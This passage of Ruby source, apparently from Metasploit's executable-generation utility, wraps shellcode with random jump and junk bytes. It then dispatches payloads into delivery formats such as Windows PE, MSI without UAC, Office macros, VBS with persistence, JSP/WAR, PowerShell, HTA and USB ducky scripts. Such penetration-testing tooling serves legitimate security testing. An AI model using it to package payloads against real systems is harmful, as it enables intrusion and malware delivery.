21984cnt_jmp += 119851986wrapper << "jmp autojump#{cnt_jmp}\n"19871.upto(rand(8)+1) do1988wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"1989cnt_nop -= 11990end1991wrapper << "autojump#{cnt_jmp}:\n"1992end1993wrapper << line + "\n"1994end19951996# @TODO: someone who knows how to use metasm please explain the right way to do this.1997wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n"1998wrapper << stub_final19992000enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded2001soff = enc.data.index("\xe9\xff\xff\xff\xff") + 12002res = enc.data + code20032004if which_offset == 'start'2005res[soff,4] = [block_offset - (soff + 4)].pack('V')2006elsif which_offset == 'end'2007res[soff,4] = [res.length - (soff + 4) + block_offset].pack('V')2008else2009raise RuntimeError, 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!'2010end2011res2012end201320142015#2016# Generate an executable of a given format suitable for running on the2017# architecture/platform pair.2018#2019# This routine is shared between msfvenom, rpc, and payload modules (use2020# <payload>)2021#2022# @param framework [Framework]2023# @param arch [String] Architecture for the target format; one of the ARCH_*2024# constants2025# @param plat [#index] platform2026# @param code [String] The shellcode for the resulting executable to run2027# @param fmt [String] One of the executable formats as defined in2028# {.to_executable_fmt_formats}2029# @param exeopts [Hash] Passed directly to the appropriate method for2030# generating an executable for the given +arch+/+plat+ pair.2031# @return [String] An executable appropriate for the given2032# architecture/platform pair.2033# @return [nil] If the format is unrecognized or the arch and plat don't2034# make sense together.2035def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)2036# For backwards compatibility with the way this gets called when2037# generating from Msf::Simple::Payload.generate_simple2038if arch.kind_of? Array2039output = nil2040arch.each do |a|2041output = to_executable_fmt(framework, a, plat, code, fmt, exeopts)2042break if output2043end2044return output2045end20462047# otherwise the result of this huge case statement is returned2048case fmt2049when 'asp'2050exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)2051Msf::Util::EXE.to_exe_asp(exe, exeopts)2052when 'aspx'2053Msf::Util::EXE.to_mem_aspx(framework, code, exeopts)2054when 'aspx-exe'2055exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)2056Msf::Util::EXE.to_exe_aspx(exe, exeopts)2057when 'dll'2058case arch2059when ARCH_X86,nil2060to_win32pe_dll(framework, code, exeopts)2061when ARCH_X642062to_win64pe_dll(framework, code, exeopts)2063end2064when 'exe'2065case arch2066when ARCH_X86,nil2067to_win32pe(framework, code, exeopts)2068when ARCH_X642069to_win64pe(framework, code, exeopts)2070end2071when 'exe-service'2072case arch2073when ARCH_X86,nil2074to_win32pe_service(framework, code, exeopts)2075when ARCH_X642076to_win64pe_service(framework, code, exeopts)2077end2078when 'exe-small'2079case arch2080when ARCH_X86,nil2081to_win32pe_old(framework, code, exeopts)2082when ARCH_X642083to_win64pe(framework, code, exeopts)2084end2085when 'exe-only'2086case arch2087when ARCH_X86,nil2088to_winpe_only(framework, code, exeopts)2089when ARCH_X642090to_winpe_only(framework, code, exeopts, arch)2091end2092when 'msi'2093case arch2094when ARCH_X86,nil2095exe = to_win32pe(framework, code, exeopts)2096when ARCH_X642097exe = to_win64pe(framework, code, exeopts)2098end2099exeopts[:uac] = true2100Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)2101when 'msi-nouac'2102case arch2103when ARCH_X86,nil2104exe = to_win32pe(framework, code, exeopts)2105when ARCH_X642106exe = to_win64pe(framework, code, exeopts)2107end2108Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)2109when 'elf'2110if elf? code2111return code2112end2113if !plat || plat.index(Msf::Module::Platform::Linux)2114case arch2115when ARCH_X86,nil2116to_linux_x86_elf(framework, code, exeopts)2117when ARCH_X642118to_linux_x64_elf(framework, code, exeopts)2119when ARCH_AARCH642120to_linux_aarch64_elf(framework, code, exeopts)2121when ARCH_ARMLE2122to_linux_armle_elf(framework, code, exeopts)2123when ARCH_MIPSBE2124to_linux_mipsbe_elf(framework, code, exeopts)2125when ARCH_MIPSLE2126to_linux_mipsle_elf(framework, code, exeopts)2127end2128elsif plat && plat.index(Msf::Module::Platform::BSD)2129case arch2130when ARCH_X86,nil2131Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts)2132when ARCH_X642133Msf::Util::EXE.to_bsd_x64_elf(framework, code, exeopts)2134end2135elsif plat && plat.index(Msf::Module::Platform::Solaris)2136case arch2137when ARCH_X86,nil2138to_solaris_x86_elf(framework, code, exeopts)2139end2140end2141when 'elf-so'2142if elf? code2143return code2144end2145if !plat || plat.index(Msf::Module::Platform::Linux)2146case arch2147when ARCH_X862148to_linux_x86_elf_dll(framework, code, exeopts)2149when ARCH_X642150to_linux_x64_elf_dll(framework, code, exeopts)2151when ARCH_ARMLE2152to_linux_armle_elf_dll(framework, code, exeopts)2153when ARCH_AARCH642154to_linux_aarch64_elf_dll(framework, code, exeopts)2155end2156end2157when 'macho', 'osx-app'2158if macho? code2159macho = code2160else2161macho = case arch2162when ARCH_X86,nil2163to_osx_x86_macho(framework, code, exeopts)2164when ARCH_X642165to_osx_x64_macho(framework, code, exeopts)2166when ARCH_ARMLE2167to_osx_arm_macho(framework, code, exeopts)2168when ARCH_PPC2169to_osx_ppc_macho(framework, code, exeopts)2170when ARCH_AARCH642171to_osx_aarch64_macho(framework, code, exeopts)2172end2173end2174fmt == 'osx-app' ? Msf::Util::EXE.to_osx_app(macho) : macho2175when 'vba'2176Msf::Util::EXE.to_vba(framework, code, exeopts)2177when 'vba-exe'2178exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)2179Msf::Util::EXE.to_exe_vba(exe)2180when 'vba-psh'2181Msf::Util::EXE.to_powershell_vba(framework, arch, code)2182when 'vbs'2183exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)2184Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false }))2185when 'loop-vbs'2186exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)2187Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true }))2188when 'jsp'2189arch ||= [ ARCH_X86 ]2190tmp_plat = plat.platforms if plat2191tmp_plat ||= Msf::Module::PlatformList.transform('win')2192exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)2193Msf::Util::EXE.to_jsp(exe)2194when 'war'2195arch ||= [ ARCH_X86 ]2196tmp_plat = plat.platforms if plat2197tmp_plat ||= Msf::Module::PlatformList.transform('win')2198exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)2199Msf::Util::EXE.to_jsp_war(exe)2200when 'psh'2201Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts)2202when 'psh-net'2203Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)2204when 'psh-reflection'2205Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts)2206when 'psh-cmd'2207Msf::Util::EXE.to_powershell_command(framework, arch, code)2208when 'hta-psh'2209Msf::Util::EXE.to_powershell_hta(framework, arch, code)2210when 'python-reflection'2211Msf::Util::EXE.to_python_reflection(framework, arch, code, exeopts)2212when 'ducky-script-psh'2213Msf::Util::EXE.to_powershell_ducky_script(framework, arch, code)2214end2215end22162217# FMT Formats2218# self.to_executable_fmt_formats2219# @return [Array] Returns an array of strings2220def self.to_executable_fmt_formats2221[2222"asp",2223"aspx",2224"aspx-exe",2225"axis2",2226"dll",2227"ducky-script-psh",2228"elf",2229"elf-so",2230"exe",2231"exe-only",2232"exe-service",2233"exe-small",2234"hta-psh",2235"jar",2236"jsp",2237"loop-vbs",2238"macho",2239"msi",2240"msi-nouac",2241"osx-app",2242"psh",2243"psh-cmd",2244"psh-net",2245"psh-reflection",2246"python-reflection",2247"vba",2248"vba-exe",2249"vba-psh",2250"vbs",2251"war"2252]2253end22542255# self.get_file_contents2256#2257# @param perms [String]2258# @param file [String]2259# @return [String]2260def self.get_file_contents(file, perms = "rb")2261contents = ''2262File.open(file, perms) {|fd| contents = fd.read(fd.stat.size)}2263contents2264end22652266# self.find_payload_tag2267#2268# @param mo [String]2269# @param err_msg [String]2270# @raise [RuntimeError] if the "PAYLOAD:" is not found2271# @return [Integer]2272def self.find_payload_tag(mo, err_msg)2273bo = mo.index('PAYLOAD:')2274unless bo2275raise RuntimeError, err_msg2276end2277bo2278end22792280def self.elf?(code)2281code[0..3] == "\x7FELF"2282end22832284def self.macho?(code)2285code[0..3] == "\xCF\xFA\xED\xFE" || code[0..3] == "\xCE\xFA\xED\xFE" || code[0..3] == "\xCA\xFE\xBA\xBE"2286end22872288end2289end2290end229122922293